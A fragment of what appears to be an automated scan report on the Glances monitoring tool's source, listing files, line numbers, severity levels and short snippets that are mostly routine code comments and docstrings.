| LOW | glances/events_list.py | 158 | # Check if the weight is > to the minimal threshold value |
| LOW | glances/events_list.py | 306 | # Add the event to the list |
| LOW | glances/logger.py | 86 | # Check if a specific configuration is available |
| LOW | glances/processes.py | 810 | # Check if a specific sort should be done |
| LOW | glances/servers_list_static.py | 76 | # Add the server to the list |
| LOW | glances/stats.py | 49 | # Check if the attribute starts with 'get' |
| LOW | glances/folder_list.py | 85 | # Add the item to the list |
| LOW | glances/ports_list.py | 94 | # Add the server to the list |
| LOW | glances/plugins/sensors/__init__.py | 367 | # Add sensor to the list |
| LOW | glances/plugins/plugin/model.py | 1168 | # Check if a shortname is defined |
| LOW | glances/plugins/plugin/model.py | 1176 | # Check if unit is defined and get the short unit char in the unit_sort dict |
| LOW | glances/plugins/plugin/model.py | 1187 | # Check if unit is defined and get the unit type unit_type dict |
| LOW | glances/plugins/plugin/model.py | 1317 | # Check if the field exist (avoid error on some OS where some fields are not available) |
| LOW | glances/plugins/folders/__init__.py | 81 | # Check if the glances_folder instance is init |
| LOW | glances/plugins/vms/engines/virsh.py | 22 | # Check if virsh binary exist |
| LOW | glances/plugins/vms/engines/multipass.py | 20 | # Check if multipass binary exist |
| LOW | glances/exports/export.py | 234 | # Add the measurement to the list |
| LOW | glances/exports/glances_graph/__init__.py | 52 | # Check if output folder is writeable |
| LOW | glances/outputs/glances_restful_api.py | 800 | # Check if JWT is available |
| LOW | glances/outputs/glances_restful_api.py | 807 | # Check if password authentication is enabled |
| LOW | glances/outputs/glances_stdout_issue.py | 117 | # Display the result |
| LOW | glances/outputs/glances_stdout_csv.py | 98 | # Check if the plugin exist and is enable |
| LOW | glances/outputs/glances_stdout.py | 57 | # Check if the plugin exist and is enable |
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | glances/globals.py | 19 | |
| LOW | glances/globals.py | 23 | |
| LOW | glances/globals.py | 29 | |
| LOW | glances/globals.py | 30 | |
| LOW | glances/globals.py | 30 | |
| LOW | glances/globals.py | 30 | |
| LOW | glances/globals.py | 34 | |
| LOW | glances/globals.py | 34 | |
| LOW | glances/globals.py | 35 | |
| LOW | glances/globals.py | 35 | |
| LOW | glances/globals.py | 36 |
| Severity | File | Line | Snippet |
|---|---|---|---|
| HIGH | glances/jwt_utils.py | 61 | Create a JWT access token for the given username. Args: username: The username to encode in the tok |
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | tests-data/issues/issue3341-NATS/pub.py | 18 | # To run this test script, make sure you have a NATS server running locally. |
| LOW | tests-data/issues/issue3341-NATS/sub.py | 32 | # To run this test script, make sure you have a NATS server running locally. |
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | glances/globals.py | 726 | # Otherwise just add the current char |
| MEDIUM | glances/exports/export.py | 255 | """Return fields description in order to init stats in a server.""" |